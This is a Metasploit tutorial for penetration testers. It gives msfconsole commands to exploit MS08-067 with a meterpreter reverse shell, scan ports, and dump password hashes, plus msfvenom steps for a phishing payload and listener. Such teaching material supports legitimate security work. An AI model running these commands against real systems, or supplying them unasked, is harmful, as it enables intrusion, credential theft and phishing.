Metsploit

Metasploit Framework

Metasploit is an open-source penetration testing framework developed by Rapid7. It is widely used for developing and executing exploit code against a remote target machine. The framework provides tools to perform various tasks in penetration testing, such as information gathering, vulnerability scanning, exploitation, and post-exploitation.

Key Components of Metasploit

1. Modules:

   • Exploit Modules: Contains the code to exploit specific vulnerabilities.

   • Payload Modules: Includes code that runs on the target machine after exploitation (e.g., reverse shells).

   • Auxiliary Modules: Used for scanning, fuzzing, and other non-exploit functionality.

   • Post Modules: Used for post-exploitation activities on a compromised system.

   • Encoders: Used to encode payloads to avoid detection.

   • NOPs: No-operation instructions used to pad out payloads.

2. Meterpreter: An advanced, extensible payload that provides an interactive shell for executing commands on the target machine.

3. Database: Metasploit integrates with PostgreSQL to store scan results, exploitation attempts, and other data.

4. Armitage: A graphical user interface (GUI) for Metasploit, providing visual aids for managing sessions and exploits.

Common Use Cases for Metasploit

1. Vulnerability Scanning and Exploitation

2. Information Gathering

3. Post-Exploitation

4. Social Engineering

5. Web Application Testing

6. Wireless Attacks

7. Password Attacks

8. Evasion Techniques

Use Cases with Metasploit

1. Vulnerability Scanning and Exploitation

Example: Exploiting a known vulnerability in a Windows machine using the ms08_067_netapi exploit.

Steps:

1. Launch Metasploit:

   msfconsole

2. Search for the exploit:

   search ms08_067

3. Select the exploit:

   use exploit/windows/smb/ms08_067_netapi

4. Set the target:

   set RHOST <target_ip>

5. Set the payload:

   set payload windows/meterpreter/reverse_tcp
   set LHOST <your_ip>
   set LPORT 4444

6. Run the exploit:

   exploit

2. Information Gathering

Example: Scanning a network for open ports and services.

Steps:

1. Launch Metasploit:

   msfconsole

2. Use auxiliary scanner:

   use auxiliary/scanner/portscan/tcp

3. Set the target range:

   set RHOSTS 192.168.1.0/24

4. Run the scan:

   run

3. Post-Exploitation

Example: Collecting password hashes from a compromised machine.

Steps:

1. Exploit the target and get a Meterpreter session:

   exploit

2. Dump password hashes:

   meterpreter > hashdump

4. Social Engineering

Example: Creating a malicious payload for a phishing campaign.

Steps:

1. Generate the payload:

   msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4444 -f exe > payload.exe

2. Set up a listener:

   use exploit/multi/handler
   set payload windows/meterpreter/reverse_tcp
   set LHOST <your_ip>
   set LPORT 4444
   exploit

Detailed Metasploit Options

msfconsole

Basic Commands:

• search <term>: Search for exploits, payloads, and other modules.

• use <module_path>: Load a specific module.

• show options: Display options for the current module.

• set <option> <value>: Set a specific option value.

• exploit: Run the selected exploit module.

• run: Run the selected auxiliary module.

• sessions -i <id>: Interact with a specific session.

msfvenom

Usage:

• -p <payload>: Specify the payload to use.

• LHOST=<your_ip>: Set the local host IP.

• LPORT=<your_port>: Set the local port.

• -f <format>: Specify the output format (e.g., exe, elf, raw).

• -o <output_file>: Specify the output file name.

Example:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > payload.exe

References

1. Metasploit Documentation: Metasploit Docs

2. Metasploit Unleashed (Offensive Security): Metasploit Unleashed

3. Metasploit GitHub Repository: Metasploit GitHub

4. Exploit Database: Exploit DB

By leveraging Metasploit's powerful capabilities, penetration testers can identify and exploit vulnerabilities, gather crucial information, and perform detailed post-exploitation tasks to assess and improve the security posture of an organization.